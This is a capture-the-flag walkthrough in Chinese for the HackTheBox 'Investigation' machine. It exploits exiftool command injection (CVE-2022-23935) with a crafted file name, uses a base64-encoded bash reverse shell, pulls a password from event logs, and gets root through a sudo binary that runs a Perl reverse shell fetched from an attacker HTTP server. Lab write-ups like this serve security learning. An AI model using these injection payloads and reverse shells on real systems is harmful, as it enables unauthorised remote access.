HackTheBox - Investigation
信息收集
先进行端口扫描,sudo nmap -A -Pn -v -min-rate 1000 10.10.11.197
Linux系统,开启了22和80端口,域名为eforenzics.htb,添加到/etc/hosts中
CVE利用
访问web服务,看上去像是个提供取证服务的网站
service.html目录下存在文件上传功能,只允许上传jpg格式的文件,上传后会使用exiftool进行解析并返回结果
网上搜索到exiftool的一个RCE漏洞CVE-2021-22204,但是靶机用的exiftool版本高了,无法利用
之后再通过搜索找到一个12.38版本前的漏洞CVE-2022-23935,可以进行利用,可以参考这篇文章Command Injection in Exiftool before 12.38 (github.com)
漏洞原理就是当文件名以|结尾时,exiftool将|识别为管道符从而认为文件名是系统命令,进而执行
将文件名改为ping -c 3 10.10.16.8|
并用tcpdump监听tun0网卡,得到回显,说明可以通过文件名进行RCE,接下来进行反弹shell
┌──(briyney㉿Briyney)-[~/桌面]
└─$ echo 'bash -i >& /dev/tcp/10.10.16.8/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzQ0NDQgMD4mMQo=
先将反弹命令编码,然后更改文件名为echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzQ0NDQgMD4mMQo='|base64 -d|bash|
,发送,拿到shell
切换用户
拿到的是www-data的shell,权限很低,查看home目录发现smorton用户,接下来要做的就是切换到smorton用户
在/usr/local目录下发现一个Investigation目录,跟题目名字一样的目录,肯定有点猫腻,进去后发现一个Windows Event Logs for Analysis.msg文件,把它下到本机进行分析
nc -lvnp 9999 > 'Windows Event Logs for Analysis.msg'
nc 10.10.16.8 9999 < Windows\ Event\ Logs\ for\ Analysis.msg
可以看到这是一个outlook的message文件,用在线网站Free Online MSG Reader (aspose.app)查看邮件信息
邮件内容没有敏感信息,但是可以看到邮件中带着一个叫evtx-logs.zip附件,通过网站Free MSG EML Viewer | Free Online Email Viewer (encryptomatic.com)提取出附件
网上有很多工具和脚本能够将日志文件中的信息提取出来,这里我是直接用的Windows的日志查看器
经过查找,最后在登录失败(4625)的日志中找到疑似密码,smorton/Def@ultf0r3nz!csPa$$
ssh连接,登录成功
提权
执行sudo -l
,发现存在一个可sudo执行程序binary,下载下来进行逆向分析
scp smorton@10.10.11.197:/usr/bin/binary .
主要功能代码:
int32_t main(int32_t argc, char** argv, char** envp)
{
if (argc != 3)
{
puts("Exiting... ");
exit(0);
/* no return */
}
if (getuid() != 0)
{
puts("Exiting... ");
exit(0);
/* no return */
}
if (strcmp(argv[2], "lDnxUysaQn") != 0)
{
puts("Exiting... ");
exit(0);
/* no return */
}
puts("Running... ");
FILE* rax_8 = fopen(argv[2], &data_2027);
int64_t rax_9 = curl_easy_init();
int32_t var_40 = 0x2712;
curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
int32_t var_3c = 0x2711;
curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
int32_t var_38 = 0x2d;
curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
if (curl_easy_perform(rax_9) != 0)
{
puts("Exiting... ");
exit(0);
/* no return */
}
int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);
char* rax_28 = malloc((rax_25 + 1));
snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
char* rax_40 = malloc((rax_37 + 1));
snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
fclose(rax_8);
curl_easy_cleanup(rax_9);
setuid(0);
system(rax_40);
system("rm -f ./lDnxUysaQn");
return 0;
}
可以看到程序首先判断输入参数的个数是否为3个,其中程序名是第一个参数,所以我们要输入的数据是两个,然后判断是否以root身份运行程序,再然后第三个参数需要为lDnxUysaQn,之后调用了curl_easy_setopt()函数,对第二个参数进行curl,所以第二个参数应该是一个网址或者文件,之后会用perl进行读取执行,这样利用方式就显而易见了,只需在本机上创建一个perl的反弹shell,再用binary文件读取执行即可。
先写反弹shell
use Socket;
$i="10.10.16.7";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
然后开启http服务python3 -m http.server 9001
并监听4444端口,在靶机上执行命令
sudo /usr/bin/binary 10.10.16.7:9001/shell.pl lDnxUysaQn
提权成功